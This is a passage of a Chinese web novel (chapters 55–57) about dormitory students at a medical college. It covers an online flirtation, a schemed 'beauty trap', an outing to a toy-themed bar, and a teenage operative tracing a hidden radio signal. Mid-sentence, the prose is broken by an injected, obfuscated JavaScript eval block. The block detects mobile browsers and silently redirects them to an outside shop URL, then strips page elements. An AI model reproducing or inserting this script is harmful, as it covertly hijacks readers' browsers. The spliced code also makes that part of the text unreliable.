窗外,阳光明媚,城市平静。 昨晚的爆炸已经上了午间新闻:“7号公路发生交通事故,一辆出租车失控爆炸,司机当场死亡。警方初步判断为车辆故障……” 没人知道真相。 也许这样最好。 叶馨蒙吃着麻辣香锅,听着朋友聊天,偶尔插几句话。 一切正常。 至少表面如此。 至于暗处,暗处永远有暗处。 但今天,她选择活在明处。 哪怕只有一顿饭的时间。 一个刚杀了人、安装了炸弹、见证死亡的高中生,现在在食堂吃麻辣香锅,和朋友讨论哪个明星更帅。 生活就是这么分裂,这么荒谬。 但至少,她还活着。 还能吃麻辣香锅。 还能笑。 这就够了。 暂时够了。 55. 美人心计 午后阳光被厚厚的窗帘隔绝在外,只留下几条微弱的光缝。空气里混杂着香水、汗液和电子设备发热的微弱气味。薛耀溪窝在属于他的那张书桌前,屏幕的光映在他专注甚至带着点兴奋的脸上,手指在机械键盘上飞快地敲击发出噼里啪啦的脆响。 与其他宿舍的吵闹或空旷不同,这间宿舍弥漫着一种薛耀溪刻意营造的、与周遭格格不入的“私人领地”氛围。他戴着昂贵的降噪耳机,完全沉浸在自己的世界里,对外界的一切充耳不闻。 电脑屏幕上,一个设计花哨的聊天软件窗口正闪烁着。对方的头像是一个风格抽象、带着些许神秘感的女性剪影。 溪流(薛耀溪):……所以我就直接搬出来了,受不了那种处处都要被安排、被控制的感觉。自由的味道,哪怕带着点泡面味,也比家里那些虚伪的盛宴来得舒服。 月影(对方):(发来一个捂嘴笑的表情)小狼狗炸毛了?不过……敢反抗,有自己的主意,挺带劲的。比那些唯唯诺诺的妈宝男强多了。 薛耀溪看到“小狼狗”这个称呼,非但不觉得被冒犯,反而嘴角不受控制地向上扬起,一种被特殊对待、被“看懂”的奇异满足感油然而生。他喜欢对方这种略带调侃又充满张力的说话方式。 溪流:谁是小狼狗?(配上一个不屑的表情)我这是追求自我价值的实现好吧。 月影:好好好,是追求自我价值的炸毛小狼狗。(followed by一个眨眼的表情)那你现在在哪实现价值呢?某个充满古龙香水味的象牙塔? 薛耀溪犹豫了一下,没有透露圣保罗医学院的具体信息,只是模糊地回复。 溪流:一个暂时落脚的地方罢了,清静,没人管。你呢?看你说话,不像整天无所事事的人。 月影:我?(发来一个意味深长的表情)算是……经历过一些风浪,现在看看风景,逗逗有趣的小家伙呗。生活嘛,太较真就输了,及时行乐最重要。 对方的话总是带着一种若有若无的撩拨和居高临下的成熟感,让薛耀溪既感到被吸引,又忍不住想在她面前表现得更加“成熟”和“不羁”一些,以匹配那种层次。 溪流:小家伙?说不定我经历的不比你少呢。(他试图让自己看起来更老练) 月影:哦?(语气上扬)比如?和人抢点唱机打群架?(发来一个哈哈大笑的表情) 薛耀溪脸一热,没想到对方还记得他前几天随口提过的糗事,并且用这种方式调侃出来。他有点恼羞成怒,却又莫名兴奋。 溪流:那叫捍卫自主选择音乐的权利!是原则问题! 月影:行行行,原则性极强的炸毛小狼狗。(语气里充满了宠溺般的调侃)不过……打架的样子,想想应该挺帅的,血气方刚的。 这句话像一根羽毛,轻轻搔过薛耀溪的心尖。他几乎能想象出一个成熟妩媚的女人,正带着玩味的笑容在屏幕那头评价他。这种想象让他心跳加速。 两人就这样有一搭没一搭地聊着,从音乐电影聊到人生哲学,又从人生哲学聊回略带暧昧的互相试探。月影似乎很懂得如何调动情绪,时而犀利,时而温柔,总能恰到好处地接住薛耀溪的话,又巧妙地抛出新的钩子,让他欲罢不能。 她偶尔会透露一点关于自己的模糊信息——喜欢品酒,去过很多地方,似乎从事着与艺术或投资相关的工作,语气间总带着一种见过世面的慵懒和通透。这一切对被困在家族期望和叛逆矛盾中的薛耀溪来说,充满了致命的吸引力,仿佛一扇窥向另一种自由不羁生活的窗口。 他甚至开始下意识地模仿对方说话的语气和用词,试图让自己看起来更配得上与“月影”对话。 溪流:有时候觉得挺没劲的,周围的人都像在演一场设定好的戏。 月影:那就自己当导演,或者干脆砸了舞台。规则是给弱者遵守的,宝贝儿。 “宝贝儿”这个称呼让薛耀溪心跳漏了一拍,手指停在键盘上,耳根微微发烫。就在这时,宿舍门“哐当”一声被粗暴地推开,徐燕风叼着烟(虽然宿舍明令禁止)大大咧咧地走进来,带进一股外面的热风和烟味。【隐藏剧情见第四季《姐姐恋人》】 “喂,薛大少,窝房里孵蛋呢?晚上跟我们去……”徐燕风的话说到一半,看到薛耀溪戴着耳机对着电脑屏幕一脸“□□”(在他看来)的笑容,顿时来了兴趣,蹑手蹑脚地想凑过去看,“看什么好东西呢?笑得这么猥琐!” 薛耀溪像是被踩了尾巴的猫,猛地反应过来,手忙脚乱地瞬间最小化了聊天窗口,摘下耳机,恼火地瞪着徐燕风:“滚!谁让你进来的!敲门会不会?” “切,装什么纯情。”徐燕风撇撇嘴,看他反应这么大,更加确信有鬼,“网恋啊?哪个平台的妹妹?让风哥帮你把把关?” “关你屁事!出去!”薛耀溪脸色难看,生怕被这个口无遮拦的家伙看到聊天内容,那他在月影面前维持的形象就全毁了。 徐燕风看他真急了,嗤笑一声,也没再坚持,晃悠着又出去了:“德行!晚上去不去网吧?何念曦也去!” “不去!”薛耀溪没好气地吼了一句,赶紧把门关上反锁。 他重新坐回电脑前,深吸了几口气,平复了一下被打扰的烦躁和差点暴露的惊慌。他点开那个闪烁的图标。 月影:?怎么了?突然没声了?你的“自由领地”被入侵了?(附带一个偷笑的表情) 薛耀溪看着这句话,仿佛能感受到对方那洞悉一切般的调侃,他有些尴尬地回复。 溪流:没什么,一只吵人的苍蝇而已。已经被我赶走了。我们继续。 月影:好吧~(拉长的语调)继续说说,你怎么砸了那个舞台的?姐姐我喜欢听这个…… 窗外的阳光渐渐西斜,宿舍内光线愈发昏暗。薛耀溪完全沉浸在与“月影”如火如荼的网聊中,脸上不时浮现出各种情绪——兴奋、得意、羞涩、被理解的慰藉。 这个比他年长、神秘、会撩的女人,像一株散发诱人香气的危险植物,正将他一步步拉入一个精心编织的、充满刺激和未知的虚拟梦境。而他,乐在其中,甚至未曾想过,这突如其来的“知己”,背后或许隐藏着截然不同的目的。网络的另一端,“月影”放下手中的咖啡杯,指尖划过屏幕上“溪流”发来的最新一条带着少年人故作深沉却又漏洞百出的消息,嘴角勾起一抹难以捉摸的弧度。 鱼饵已经撒下,鱼儿……正咬钩咬得欢呢。 徐燕风叼着根没点燃的烟靠在宿舍走廊尽头的窗边,眉头拧成个疙瘩,心里盘算着怎么把薛耀溪那块又臭又硬的骨头给啃下来。那小子仗着家里有几个臭钱,眼睛都快长到天上去了,偏偏尹柏萧好像还挺“看重”他,这让徐燕风心里很是不爽,琢磨着非得让他服软不可。 正当他绞尽脑汁想着是来硬的还是来阴的时候,楼下传来行李箱轮子的声音和一个有点耳熟的女声,貌似正和桑矾逸说着什么。 徐燕风下意识地过去低头瞥了一眼。这一瞥,他眼睛瞬间就直了! 只见一个身材高挑、穿着时尚牛仔短裤和露肩T恤、染着一头惹眼的亚麻灰长发的美女正拖着一个亮粉色的行李箱站在下面。她戴着副遮住半张脸的墨镜,但那优越的下颌线和熟悉的身形…… “全漫薰?!”徐燕风几乎是脱口而出,惊讶地喊出了声。 那美女闻声抬过头,摘下墨镜,露出一张妆容精致、眉眼妩媚的脸庞。她看到徐燕风也是愣了一下,随即脸上绽放出惊喜的笑容,红唇扬起:“呀!徐燕风?怎么是你?!你怎么会在这儿?” 桑矾逸看着徐燕风急急忙忙跑下来 “我靠!真是你啊!”徐燕风顿时把薛耀溪抛到了脑后,几步就蹿了过去,脸上堆满了惊喜的笑容,“这话该我问你吧?你怎么屈尊降贵跑到这破地方来了?”他打量着全漫薰那一身价格不菲的行头和那个骚包的行李箱,怎么看都和旧宿舍楼格格不入。 全漫薰撇撇嘴,随手撩了下头发,带着点抱怨又无所谓的语气:“别提了!我爸我妈整天就知道工作工作,家里整天空荡荡一个人也没有,我实在没法读书,”她打量了一下四周环境,眉头微蹙,“不过……这里条件比我想象的还要破,但还是挺热闹的。” “哈哈哈!同道中人啊!”徐燕风像是找到了知音,用力一拍全漫薰的肩膀,“我也是被逼来的!这破地方规矩多得要死,闷都闷死了!(完全无视桑矾逸的存在,口无遮拦)不过……”他话锋一转,贼兮兮地压低声音,“来了也好,这儿好玩的人不少!以后我带你找乐子!” 全漫薰白了他一眼,但眼神里也带着兴趣:“得了吧,你能有什么好乐子?不过……既然你在这,那倒是不怕无聊了。” 桑矾逸终于忍无可忍打断二人对话:“你们认识。” “认识。”徐燕风面不改色回答:“网友一场” “好吧。”桑矾逸说:“你们先聊着。不打扰了。”说罢转身走开。 两人旁若无人地继续聊了起来,互相吐槽着各自的“悲惨”遭遇和家里的种种不是,气氛异常热络,仿佛又回到了以前的日子。 聊着聊着,徐燕风脑子里那个关于薛耀溪的念头又活络了起来,并且迅速和一个新的主意结合在了一起。 他眼睛滴溜溜一转,凑近全漫薰用下巴指了指薛耀溪宿舍窗口,压低声音说:“哎,跟你说个事儿。这儿住着个特装逼的小子,叫薛耀溪,家里有钱所以狂得没边了,我看着就来气!” 全漫薰挑了挑眉饶有兴致地听着:“哦?有多狂?比你还狂?” “去你的!”徐燕风笑骂一句,随即正色道,“说正经的。那小子软硬不吃,我就想挫挫他的锐气。不过嘛……硬来估计不行。” 他上下打量了一下全漫薰,脸上露出一个坏笑,“但是嘛,我偷偷观察他好像挺吃‘成熟姐姐’那一套的。我看他最近网聊聊得火热,估计就好这口。” 全漫薰何等聪明,立刻明白了徐燕风的潜台词,她妩媚地白了他一眼:“哟,徐少爷这是想拿我当枪使啊?让我去使美人计?” “哎哟,话别说得那么难听嘛!”徐燕风嬉皮笑脸,“咱们这不是好久没见了,找个乐子嘛!那小子长得其实还行,就是欠收拾。你出马,还不是手到擒来?帮我搞定他,让他服个软,以后在这学院里,我罩着你!怎么样?” 全漫薰用手指卷着发梢,眼神里闪烁着一种被挑起兴趣和挑战欲的光芒。她本来就是个爱玩不甘寂寞的主,徐燕风这个提议正中她下怀。既能找点乐子又能还徐燕风一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937073|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人情(以后方便一起玩)还能会会那个所谓的“狂拽阔少”。 “行啊,”她爽快地答应了,红唇勾起一抹自信又带着点恶趣味的笑容,“听起来挺有意思的。我倒要看看,是什么样的家伙,能让咱们徐少这么惦记着。包在我身上了。” 徐燕风大喜,用力一拍手:“够意思!就知道你靠谱!走,我先帮你安顿下来,就在他对门!近水楼台先得月!” “走。我帮你。”他殷勤地帮全漫薰拉起那个亮粉色的行李箱,两人有说有笑地朝着女生宿舍走去。 徐燕风心里得意极了,觉得自己这招“美人计”简直是神来之笔。他仿佛已经看到薛耀溪那个不可一世的家伙被全漫薰迷得晕头转向然后被狠狠耍弄的狼狈样子了。 而三楼的宿舍里,正沉浸在与“月影”网聊中的薛耀溪,对外界这场针对他的“阴谋”还一无所知。 新的“玩家”已然入场,学院的这潭水,眼看要越来越浑了。 薛耀溪刚结束了与“月影”那一场令他心神荡漾、充满遐想的网聊。他意犹未尽地靠在椅背上,嘴角还残留着不自觉的笑意,脑子里还在回味着对方那些略带挑逗又充满智慧的话语仿佛整个人的层次都跟着提升了不少。 就在这时,宿舍门被“叩叩叩”地敲响了。 声音不轻不重,带着点随意。 薛耀溪皱了皱眉,以为是徐燕风或者何念曦那两个烦人的家伙又来骚扰他,没好气地冲着门口喊了一句:“谁啊?没事滚蛋!” 门外安静了一秒,随即传来一个慵懒又带着点娇嗔的女声,音色悦耳,和他平时听惯的男声截然不同:“哟,新同学脾气这么大呀?开门看看不就知道了?” 是个女人? 薛耀溪愣了一下,心里的不耐烦消减了些许,更多的是好奇。听着好陌生。这里什么时候又来了一个女的?他狐疑地站起身,走过去拉开了门。 门外的景象让他又是一愣。 只见一个身材高挑火辣、染着一头时髦亚麻金长发、妆容精致、穿着大胆时尚的混血美女,正慵懒地倚靠在他门框上。她手里把玩着一副墨镜,一双描画得极其妩媚的眼睛正上下打量着他,眼神里带着毫不掩饰的兴趣和一丝玩味。 是那种在夜店或者高级场合才会遇到的明艳动人又带着点危险气息的女孩。与这简陋的宿舍走廊形成了强烈的反差。 薛耀溪虽然自诩见过世面,但在这公突然的情况下,还是被对方的气场和美貌晃了一下眼,语气不自觉地缓和了些许,带着点疑惑:“你是……?” “全漫薰。”美女红唇微启,报上名字,笑容更加明媚,“刚搬来的。”她伸出涂着亮色指甲油的手指随意地指了指女生宿舍楼的方向。 “哦……”薛耀溪点了点头,心里快速闪过几个念头。又一个新同学?徐燕风那家伙知道吗? 全漫薰似乎看穿了他的心思,轻笑一声:“刚才碰到徐燕风了,他说这儿就你最有意思,让我过来打个招呼。”她巧妙地把徐燕风拉出来当了个幌子,降低薛耀溪的戒心。 果然,听到徐燕风的名字,薛耀溪脸上闪过一丝不屑,但“最有意思”这个评价又让他心里有点受用。他打量了一下全漫薰,这女孩的做派和说话方式,和他刚聊完的那位“月影”似乎有某种隐约的相似之处,都带着一种成熟大胆、玩世不恭的味道,这让他产生了一种莫名的亲近感。 “找我有什么事?”薛耀溪靠在门框另一边,努力让自己看起来同样淡定不羁,仿佛对这种级别的美女早已司空见惯。全漫薰歪着头看他,眼神像带着小钩子:“没什么事就不能来认识一下新同学吗?不过嘛……”她话锋一转,语气变得更加直接,带着点挑衅,“初来乍到,觉得这儿闷死了。晚上想出去转转,找点乐子,缺个伴儿。看你还顺眼,怎么样,薛大少?敢不敢一起出去玩玩?我知道几个好地方。” 她发出邀约的方式大胆又直接,完全不像普通女孩那样扭捏,眼神里充满了自信,仿佛断定薛耀溪不会拒绝。 薛耀溪心脏猛地跳快了几下。 若是平时,面对这种突如其来的、目的明确的邀约,他或许还会端一端架子,或者考虑一下。但偏偏他刚刚才从“月影”那里获得了一种“成年人”的虚拟满足感,此刻正渴望将那种刺激感延续到现实中。再加上对方的美貌、大胆,以及那种和“月影”相似的、仿佛能带他体验另一种生活的气息…… 他骨子里那种爱玩、还有点花花肠子的本性瞬间被激活了。于是几乎没有任何犹豫,薛耀溪脸上就露出了一个带着点痞气和兴趣的笑容,一口答应:“行啊!有什么不敢的?这破地方确实能闷出鸟来。你说地方,晚上我去找你。” 干脆利落,正中全漫薰下怀。 全漫薰脸上的笑容更加灿烂,仿佛狩猎成功的猫:“爽快!那就这么说定了!晚上见咯,有趣的新同学。好朋友。~” 她冲薛耀溪抛了个意味不明的媚眼,转身,踩着高跟鞋,身姿摇曳地走回了自己的宿舍门口,开门进去前,还回头对他笑了一下。 薛耀溪看着她离开消失不见,才缓缓收回目光,靠在门板上,心里涌起一股混合着兴奋和期待的躁动。这突如其来的艳遇……似乎比和徐燕风斗气有意思多了! 56. 不明电波(1) 浪淘沙路像一条藏在繁华背后的静谧小巷里,隐匿在一片霓虹闪烁、喧嚣热闹的街区深处。【玩偶吧】的招牌并不像周遭店铺那般追求夺目耀眼,只是一块简约的木质牌子,低调地挂在门楣上方。暖黄色的灯光透过门上的磨砂玻璃缓缓渗出来,在门前的地面上投下一片朦胧的光晕,既带着家一般的温馨,又透着几分引人探究的神秘感,让人忍不住想推门一探究竟。 轻轻推开那扇磨砂玻璃门,“叮铃”一声清脆的风铃响过,仿佛瞬间穿越了时空隧道,回到了那个色彩斑斓、充满奇思妙想的童年。空气里弥漫的不是寻常酒吧里刺鼻的酒精味和呛人的烟草气息,而是一股淡淡的、甜得恰到好处的糖果香,还夹杂着醇厚的奶茶味,丝丝缕缕地钻进鼻腔,瞬间驱散了外界的浮躁。墙上贴满了各种承载着几代人回忆的经典卡通人物海报,从憨态可掬的小熊□□到灵动俏皮的美少女战士,每一张都能勾起心底的柔软。角落里堆着几只一人多高的巨大毛绒玩具熊,毛茸茸的身躯看起来格外温顺,仿佛在静静等候着人们的拥抱。靠墙的书架上,整齐地排列着一摞摞漫画书和童话故事,从《灌篮高手》到《安徒生童话》,封面在灯光下泛着柔和的光泽。舒缓轻快的儿歌作为背景音乐,像潺潺流水般在空间里轻轻流淌,每一个音符都带着童真的纯粹。 客人们三三两两地散落在各个角落,有的窝在柔软的卡通沙发里,沙发上印着可爱的米奇图案;有的陷在蓬松的懒人豆袋中,整个人仿佛要被温柔地包裹起来。他们中,有人正低着头,神情专注地拼装着复杂的乐高模型,手指灵活地摆弄着细小的零件,眼神里满是认真;有人手里握着复古的红白机手柄,聚精会神地盯着屏幕上跳动的像素画面,时不时因为游戏的输赢发出一两声轻呼和欢笑;还有人干脆抱着一只等身大的“机器猫”玩偶,和朋友们围坐在小矮桌旁,手里拿着扑克牌,脸上都洋溢着轻松愉悦的笑容,眼角的细纹里都盛满了惬意。这里没有震耳欲聋的重低音,没有烟雾缭绕的压抑,只有一种慵懒的、被浓浓的童趣紧紧包裹的宁静氛围让人不自觉地卸下防备。 “哇!这里也太可爱了吧!”叶馨蒙一踏进店里,眼睛瞬间就亮了起来,像发现了新大陆的孩子,惊喜地睁大了双眼,脚步也不由自主地加快,跑到那个巨大的毛绒熊旁边,伸出手轻轻摸了摸它柔软的绒毛,脸上是藏不住的欢喜。 白蕾妮也有些好奇地转动着脑袋,打量着四周的一切,那些可爱的玩偶和熟悉的卡通形象,让她原本带着几分怯生生的眼神渐渐被新奇和兴奋取代,嘴角也微微向上扬起。就连一向性子清冷、表情淡淡的麦静琪,目光扫过陈列架上那些精致小巧的卡通手办和模型时,眼底也掠过一丝不易察觉的亮光,像是被什么东西轻轻触动了心弦。 全漫薰显然是这里的常客,她熟门熟路地领着大家穿过错落的桌椅,来到一个宽敞的卡座区。这个卡座被设计成了小木屋的形状,屋顶是尖尖的三角形,墙壁上还画着逼真的木纹,里面堆着各种颜色各异、形状可爱的柔软抱枕,让人一看就想立刻钻进去躺一会儿。 “怎么样?我没骗你们吧?这儿可比那些吵得人头疼的酒吧有意思多了!”全漫薰拍了拍手,脸上带着几分得意的笑容,拿起桌上的菜单递过来,“他们家的泡泡奶茶,珍珠Q弹,奶味浓郁,还有手工饼干,造型又萌又好吃,超赞的!” 徐燕风不屑地撇了撇嘴,眼神在那些毛绒玩具和卡通海报上扫过,显然对这种充满“幼稚”气息的地方不太感冒,但看在同行的女生们——尤其是全漫薰兴致勃勃的份上,终究还是没说什么扫大家兴的话,只是双手插兜,靠在卡座的椅背上。何念曦则是一脸无所谓的样子,反正有的玩有的吃就行,在哪儿对他来说差别不大。 薛耀溪嘴里叼着一根波板糖,五颜六色的糖身在灯光下闪着晶莹的光,他一边慢慢转动着糖,一边好奇地打量着周围的环境,脸上带着点新奇,还有一丝不易察觉的放松。这样的地方完全超出了他的预料,但空气中甜甜的味道和轻松的氛围,确实不让人讨厌,甚至让人觉得很舒服。 没过多久,点的饮品和零食就一一端了上来。一杯杯色彩缤纷的泡泡奶茶冒着细密的泡泡,旁边摆放着造型可爱的饼干,有小熊形状的,有星星形状的,还有卡通人物头像的,让人舍不得下口。大家捧着温热的奶茶,小口啜饮着,甜滋滋的味道在舌尖蔓延开来,又拿起饼干慢慢品尝,原本还有些拘谨的气氛,也渐渐活络起来,说笑的声音渐渐大了些。 全漫薰不知从哪里摸出一副印着卡通图案的扑克牌,在手里洗了洗,提议道:“光坐着喝东西多没劲啊,我们来打牌吧!输了的人……嗯……就讲一个自己最糗的童年故事怎么样?” 这提议立刻得到了白蕾妮的积极响应,她兴奋地拍手:“好啊好啊!这个有意思!”徐燕风虽然嘴上还嘟囔着“真幼稚”,但身体却很诚实地向前倾了倾,伸手拿起了一张牌。何念曦也凑了过来,饶有兴致地等着发牌。薛耀溪犹豫了一下,看大家都兴致勃勃地参与其中,也含着棒棒糖,含混不清地说了句“行吧”,加入了牌局。 四人围坐在小木屋卡座里,开始洗牌、发牌,牌面翻动间,带着几分期待和紧张。叶馨蒙、麦静琪和白蕾妮则在一旁笑眯眯地看着偶尔低声交流几句牌局的进展,或者干脆起身去旁边的玩具区拿了些拼图、积木来玩,不亦乐乎。 牌局一开始,薛耀溪和徐燕风之间那点若有若无的不对付就又冒了出来,像火星遇到了干柴。 “喂,薛大少,你这牌出的什么意思?会不会玩啊?会不会打牌?”徐燕风看着薛耀溪打出的一张牌,立刻皱起眉头,毫不客气地吐槽道,语气里带着几分挑衅。 “闭嘴吧你!先管好你自己的牌再说!刚才不知道是谁输得最惨,脸都快绿了!”薛耀溪也毫不示弱地回敬,只是因为嘴里含着棒棒糖说话有点含糊不清,那点威胁的意味也大打折扣,反倒显得有几分滑稽。 “呵,那是小爷我故意让着你,不然你能有机会出牌?”徐燕风扬起下巴,一脸不屑。 “我需要你让?简直是笑话!”薛耀溪瞪了他一眼,手上的动作却没停。 两人你一言我一语,针锋相对,谁也不肯让着谁,空气中仿佛都弥漫着淡淡的火药味。叶馨蒙在一旁看得直乐,捂着嘴偷偷笑,全漫薰则无奈地笑着打圆场:“哎呀,打牌嘛,图的就是开心,别那么较真!你俩专心点出牌啦!” 然而,打着打着,场上的情况开始发生了微妙的变化,像紧绷的弦悄悄松了几分。 有一局,徐燕风的牌面不太好,眼看就要又一次输掉,薛耀溪出牌时,手指顿了一下,下意识地卡了一下下家何念曦的牌路,没想到这么一来,竟然无意中帮徐燕风解了围,让他逃过一劫。 徐燕风愣了一下,有些意外地瞥了薛耀溪一眼,眼神里带着点探究,但没说什么。可到了下一轮出牌时,他居然也默契地挡了一下原本针对薛耀溪的牌,算是投桃报李。 薛耀溪也察觉到了这个细微的举动,他轻哼了一声,嘴角却微微动了动,没再像之前那样一开口就是冷嘲热讽。 又有一局,两人手里的牌阴差阳错地搭配到了一起,居然打出了一波漂亮的配合,联手把何念曦坑得输得明明白白。 “可以啊你!这牌打得还行!”徐燕风下意识地脱口而出,甚至伸出拳头,轻轻捶了一下薛耀溪的肩膀,动作里带着几分认可。 薛耀溪也没躲闪,反而有点得意地扬了扬下巴,挑着眉说:“废话!也不看看是谁出牌!” 在这种轻松又充满童趣的氛围里,没有酒精刺激下的虚张声势和口不择言,没有夜店那种刻意的较劲、攀比和伪装,只有简单的游戏规则和香甜的零食。那些原本针锋相对的棱角,那些藏在心底的戒备和疏离,似乎在不知不觉中,被周围柔软的玩偶、甜腻的糖果气息和轻快的儿歌悄悄磨平了一些,像被温水浸泡过的棱角,不再那么尖锐。 虽然嘴上还是会偶尔互呛几句,斗斗嘴,但那语气里的火药味明显淡了许多,反而更像是一种男生之间特有的、打打闹闹的交流方式,带着点孩子气的别扭和亲近。一种微妙的基于“玩伴”身份的认同感,在一次次的出牌、争论和分享零食的过程中,悄然建立起来,像一颗小小的种子,在心底悄悄发了芽。 薛耀溪含着棒棒糖,看着徐燕风因为又一次输牌而懊恼地抓着自己的头发,那副气急败坏又无可奈何的样子,突然觉得这家伙好像也没那么面目可憎了,至少比家里那些只会虚伪逢迎的亲戚,还有父亲强行安排在他身边的那些所谓“精英”朋友,要真实有趣得多。 徐燕风看着薛耀溪因为赢了一局而得意地眯起眼睛,伸出舌头舔了舔嘴里的棒棒糖,那副孩子气的模样,也觉得这个平时总是端着架子的富家少爷,抛开那身让人不爽的臭脾气,偶尔流露出的这点幼稚和得意,好像……也不算太讨厌。 全漫薰在一旁静静地看着这一切,嘴角噙着一丝了然的笑意,慢悠悠地喝着杯里的奶茶,眼神里满是欣慰。 叶馨蒙、麦静琪和白蕾妮也渐渐彻底放松下来,她们不再只是远远地看着,甚至开始加入讨论牌局的输赢,或者互相分享自己手里拼了一半的玩具,笑声也越来越响亮。 【玩偶吧】温暖的灯光下,这群背景各异、性格迥异的年轻人,暂时抛开了学院里的学业压力和竞争紧张,抛开了家庭带来的烦恼和束缚,也抛开了彼此之间因为误解和差异产生的隔阂,仿佛真的回到了那个无忧无虑、只懂玩耍的孩童时代,只是单纯地享受着游戏的乐趣和同伴陪伴的温暖。 那堵横亘在他们之间的、看不见的墙,正在被一只只柔软的玩偶、一张张小小的扑克牌、一杯杯甜腻的奶茶,还有一阵阵发自内心的欢笑,悄然推倒,露出了墙后原本就存在的渴望连接的真诚与善意。…… 深夜11点30分,宿舍里弥漫着刚洗完澡的温热水汽,混着洗发露那股清新的花香,在空气中轻轻漾开。玩得尽兴的叶馨蒙用一条柔软的毛巾裹着湿漉漉的长发,指尖顺着发梢轻轻擦拭着水珠,心情像窗外那轮皎洁的月光,轻盈得仿佛要飘起来。她一边慢悠悠地打理着头发,一边环顾着这间虽简陋却充满生气的宿舍——书桌上摊着几本专业课的书,旁边放着一个啃了一半的苹果, 床铺上的被子随意地堆着,墙上还贴着几张明星海报,每一处细节都透着属于学生时代的鲜活气息,让她嘴角不自觉地扬起一 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旋钮轻轻转动,“咔哒”一声,调频停在了一个播放舒缓轻音乐的频道。主持人用温柔得像羽毛拂过心尖的嗓音介绍着下一首曲子,钢琴声如同山间潺潺的流水般倾泻而出,一点点填满了小小的宿舍空间,抚平了白日里的疲惫。 叶馨蒙放松地靠在椅背上,缓缓闭上眼,嘴角噙着淡淡的笑意,享受着这片刻的宁静与安逸。 然而,就在音乐短暂停歇、主持人再次开口说话的某个瞬间—— 她那双经过无数次残酷训练、听觉远比常人敏锐得多的耳朵,极其细微地动了一下,像是捕捉到猎物的兽类,瞬间绷紧了神经。 不对。 有什么东西……夹杂在主持人柔和的声音和背景的音乐里。 那是一种极其微弱、几乎被完美掩盖的、非自然的“滋滋”声。非常短暂,一闪即逝,快得像是错觉,普通人就算听到了,也只会以为是普通的信号干扰或是电流杂音,根本不会放在心上。 但叶馨蒙不是普通女孩。刻入骨髓的职业本能让她瞬间从放松的状态中抽离,捕捉到了那一丝违和的异常。 她猛地睁开眼,原本柔和的眼神瞬间变得锐利而专注,身体下意识地坐直了,所有的放松和惬意顷刻间消失无踪,仿佛刚才那个享受音乐的女孩只是一场幻觉。 她倾身向前,将耳朵凑近收音机的喇叭,指尖轻轻搭在微调旋钮上,极其缓慢地转动着,试图捕捉那异常信号的踪迹。 来了! 又出现了! 在主持人话语的某个自然停顿处,那“滋滋”声再次极其短暂地浮现,比刚才稍微清晰了一点点,但仍然微弱得如同风中残烛。它不像普通的信号不稳定那样杂乱无章,更像是一种……有规律的、被刻意调制过的、试图隐藏在其他信号下的特殊电波! 是某种加密通讯的片段?还是某个组织的信号标记?或者……是危险的预警? 她的心脏微微加速跳动,血液似乎也跟着加快了流速,大脑如同高速运转的机器,疯狂地试图解析那短暂信号中可能隐藏的信息。可惜那干扰信号持续的时间实在太短了,每一次出现都不到一秒,像惊鸿一瞥,根本无法进行有效捕捉和分析。 它断断续续的,毫无规律地夹杂在正常的电台节目中,时隐时现,大概持续了半分钟。 然后,就像它突然出现一样,又毫无征兆地彻底消失了。 收音机里只剩下主持人温柔的话语和接下来流畅的音乐,一切都恢复了正常,平和得仿佛刚才那诡异的“滋滋”声从未存在过,只是她的一场幻听。 叶馨蒙缓缓靠回椅背,眉头却紧紧蹙了起来,手指无意识地在桌面上轻轻敲击着,发出规律的轻响,那是她思考时的习惯。 是巧合吗?只是普通的无线电干扰? 但她的直觉,那在无数次生死关头救过她的直觉,却在心底低声警告——没那么简单。 那种信号的调制方式……那种隐藏的手法……带着一种她隐约熟悉的、属于黑暗领域的痕迹,是她曾经在无数次任务中与对手交锋时,擦肩而过的危险气息。 这台普通的家用收音机,这个播放着轻松音乐的校园频道……怎么会接收到这种信号? 是冲着她来的?有人发现了她的身份,用这种方式试探或是传递信息?还是……这信号本就弥漫在这片区域的空气中,只是偶然被她这台老式收音机捕捉到了一丝余波? 她伸出手,关掉了收音机。 宿舍里瞬间陷入一片寂静,只剩下自己有些过快的心跳声,在这安静的夜里显得格外清晰。 方才那份轻松愉悦感,如同被戳破的气球,悄无声息地消散了。一层冰冷的、无形的薄纱,似乎再次轻轻笼罩了下来,带着熟悉的压迫感。 这个世界,远比她想象的要复杂。而这看似平静的校园生活之下,暗流或许从未真正停止过涌动。 她看向窗外,夜色沉静,远处的教学楼轮廓在月光下若隐若现,路灯散发着昏黄的光晕,一切都显得那么平和。但叶馨蒙的目光却变得深邃而警惕,像潜伏在暗处的猎手,瞳孔中映着窗外的夜色,也藏着一丝不易察觉的锐利,时刻准备应对可能出现的任何变数…… 57. 不明电波(2) 深夜11点,万籁俱寂。圣保罗医学院女生宿舍楼,因为只入住几个女生,大部分窗户是漆黑,只有零星几盏灯还亮着,像夜航中孤独的灯塔。叶馨蒙的宿舍便是其中之一。 麦静琪和白蕾妮正在专心伏案学习。全漫薰一边放流行音乐一边热舞。倪梦萱不知在厨房那边忙碌什么。 唯独叶馨蒙的窗帘拉得严严实实,隔绝了外界的一切光线和窥探。桌面上,台灯洒下一圈昏黄但集中的光晕,照亮了中央那台略显老旧的收音机,以及旁边摊开的笔记本和几只削尖的铅笔。 叶馨蒙穿着简单的睡衣,头发随意披散着坐在收音机前。她的脸上没有丝毫困倦,只有一种猎手般的专注和冷静。经过三日的守候和徒劳,她预感今晚可能会有收获。于是将收音机的频率再次精准地调到了那个曾出现异常滋滋声的频道。 此刻,电台里正播放着一档舒缓的深夜音乐节目,主持人的声音慵懒磁性。但叶馨蒙的注意力完全不在节目内容上,她的全部心神都凝聚在听觉上,像最精密的雷达,过滤着一切无关的声响,只等待那个特定“杂音”的出现。 时间一分一秒地流逝。节目一首接一首地播放,窗外偶尔传来夜归学生的模糊说笑声或远处车辆的引擎声。 突然—— 